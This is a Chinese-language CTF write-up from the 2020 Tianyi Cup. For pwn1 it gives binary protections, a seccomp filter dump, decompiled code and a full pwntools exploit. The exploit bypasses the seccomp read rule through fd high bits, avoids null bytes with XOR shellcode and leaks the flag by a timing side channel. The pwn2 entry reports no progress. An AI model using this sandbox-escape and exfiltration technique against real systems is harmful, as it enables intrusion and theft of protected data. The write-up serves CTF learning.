2020天翼杯部分Writeup
August 5, 2020 CTF-Writeup 访问: 45 次
pwn
pwn1
题目的基本信息如下所示
radish ➜ 2007305f227da2c7c43 checksec chall
[*] '/media/psf/Home/Desktop/\xe5\xa4\xa9\xe7\xbf\xbc\xe6\x9d\xaf/pwn1/2007305f227da2c7c43/chall'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
radish ➜ 2007305f227da2c7c43 seccomp-tools dump ./chall
Hello Stranger. What do you want in our safe-execution box?
123
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x0b 0xc000003e if (A != ARCH_X86_64) goto 0013
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x08 0xffffffff if (A != 0xffffffff) goto 0013
0005: 0x15 0x06 0x00 0x00000002 if (A == open) goto 0012
0006: 0x15 0x00 0x06 0x00000000 if (A != read) goto 0013
0007: 0x20 0x00 0x00 0x00000014 A = fd >> 32 # read(fd, buf, count)
0008: 0x25 0x03 0x00 0x00000000 if (A > 0x0) goto 0012
0009: 0x15 0x00 0x03 0x00000000 if (A != 0x0) goto 0013
0010: 0x20 0x00 0x00 0x00000010 A = fd # read(fd, buf, count)
0011: 0x35 0x00 0x01 0x00000004 if (A < 0x4) goto 0013
0012: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0013: 0x06 0x00 0x00 0x00000000 return KILL
radish ➜ 2007305f227da2c7c43
知识盲区主要是 不知道seccomp规则也是从上往下执行的
unsigned __int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
v31 = __readfsqword(0x28u);
sub_AE0();
v30 = 0LL;
v29 = 0LL;
v28 = 0LL;
buf = 0LL;
v21 = puts("Hello Stranger. What do you want in our safe-execution box?");
v3 = getpagesize();
prot = 7;
HIBYTE(offset) = 0;
LODWORD(offset) = 0;
dest = mmap(0x1000, v3, 7, 34, 0, 0LL);
src = &buf;
v17 = 1;
v16 = read(0, &buf, 0x40uLL);
v15 = prctl(38, 1LL, 0LL, 0LL);
v14 = prctl(4, 0LL);
v23 = seccomp_init(0LL);
v13 = 0x7FFF0000;
*&v25 = 0x500000000LL;
*(&v25 + 1) = 4LL;
v26 = 0LL;
v7 = 0LL;
v6 = v25;
v12 = seccomp_rule_add(v23, 0x7FFF0000LL, 2LL, 0LL);
v11 = seccomp_rule_add(v23, 0x7FFF0000LL, 0LL, 1LL);
v10 = seccomp_load(v23);
v4 = strcpy(dest, src);
v22 = dest;
v9 = dest;
v8 = v4;
(dest)(0xDEADBEEFLL, 0x1337LL);
result = __readfsqword(0x28u);
if ( result == v31 )
result = 0LL;
return result;
}
很明显,我们输入的字符串会有零字符截断且长度收到限制,存储在一个可执行的段上,然后程序流会执行到我们的输入上
我的思路是首先要突破长度和零字符的限制,利用异或来绕过零字符,fd的类型是int(4字节),我们可以构造出(0xf00000000+*)来绕过seccomp的限制,然后利用侧信道攻击来把flag猜测出来
from pwn import *
import time
# from LibcSearcher import *
context.log_level='debug'
context.binary = './chall'
debug = 1
file_name = './chall'
libc_name = '/lib/x86_64-linux-gnu/libc.so.6'
ip = ''
prot = ''
if debug:
r = process(file_name)
libc = ELF(libc_name)
else:
r = remote(ip,int(prot))
libc = ELF(libc_name)
def debug():
gdb.attach(r,"vmmap")
# raw_input()
file = ELF(file_name)
sl = lambda x : r.sendline(x)
sd = lambda x : r.send(x)
sla = lambda x,y : r.sendlineafter(x,y)
rud = lambda x : r.recvuntil(x,drop=True)
ru = lambda x : r.recvuntil(x)
li = lambda name,x : log.info(name+':'+hex(x))
ri = lambda : r.interactive()
ru("Hello Stranger. What do you want in our safe-execution box?")
#77702f656d6f682f
#67616c662f6e
#read(0,0x1000,0x200)
shellcode= '''
xor rax,rax;
mov rbx,0x333333333333ffff;
mov rdi,0x333333343333ffff;
xor rdi,rbx;
mov rsi,0x333333333332ffff;
xor rsi,rbx;
mov rdx,rsi;
syscall;
jmp rsi;
'''
payload = asm(shellcode)
# debug()
sd(payload.ljust(0x40,'\x11'))
payload = '''
xor rax,rax;
mov rbx,0x333333333333ffff;
mov rdi,0x333333343333ffff;
xor rdi,rbx;
mov rsi,0x333333333332ffff;
xor rsi,rbx;
mov rdx,rsi;
syscall;
jmp rsi;
'''
# raw_input()
sleep(0.5)
sl(asm(payload))
shellcode = '''
xor rax,rax;
mov rdi,0xf00000000;
mov rsi,0x10100;
mov rdx,0x100;
syscall;
mov rsi,0x10100;
jmp rsi;
nop;
nop;
nop;
nop;
nop;
nop;
jmp rsi;
'''
# print(len(asm(shellcode)))
# raw_input()
sl(asm(shellcode))
'''
code addr:0x10100
flag str addr: 0x10200
flag addr : 0x10300
'''
shellcode = '''
xor rax,rax;
mov rdi,0xf00000000;
mov rsi,0x10200;
mov rdx,0x8;
syscall;
mov rdi,0x10200;
mov rsi,0x0;
mov rax,2;
syscall;
xor rax,rax;
mov rdi,0xf00000003;
mov rsi,0x10300;
mov rdx,0x50;
syscall;
mov al,[0x10300];
loop:
cmp al,0x66;
jz loop;
'''
# raw_input()
print len(asm(shellcode))
sd(asm(shellcode).ljust(0x100,"\x90"))
# raw_input()
sd("./flag\x00\x00")
# r.recv(timeout=3)
r.recv()
time1 = time.time()
r.recv(timeout=4)
time2 = time.time()
if time2-time1>3:
print "yes"
# print payload
ri()
'''
Hello Stranger. What do you want in our safe-execution box?
111
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x0b 0xc000003e if (A != ARCH_X86_64) goto 0013
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x08 0xffffffff if (A != 0xffffffff) goto 0013
0005: 0x15 0x06 0x00 0x00000002 if (A == open) goto 0012
0006: 0x15 0x00 0x06 0x00000000 if (A != read) goto 0013
0007: 0x20 0x00 0x00 0x00000014 A = fd >> 32 # read(fd, buf, count)
0008: 0x25 0x03 0x00 0x00000000 if (A > 0x0) goto 0012
0009: 0x15 0x00 0x03 0x00000000 if (A != 0x0) goto 0013
0010: 0x20 0x00 0x00 0x00000010 A = fd # read(fd, buf, count)
0011: 0x35 0x00 0x01 0x00000004 if (A < 0x4) goto 0013
0012: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0013: 0x06 0x00 0x00 0x00000000 return KILL
'''
只写了猜测第一位的,猜测整个flag用改一下即可
pwn2
经过1天的审计,只获取到用的是bf语法,可以溢出,但是溢出的数据有限制,无进展 :(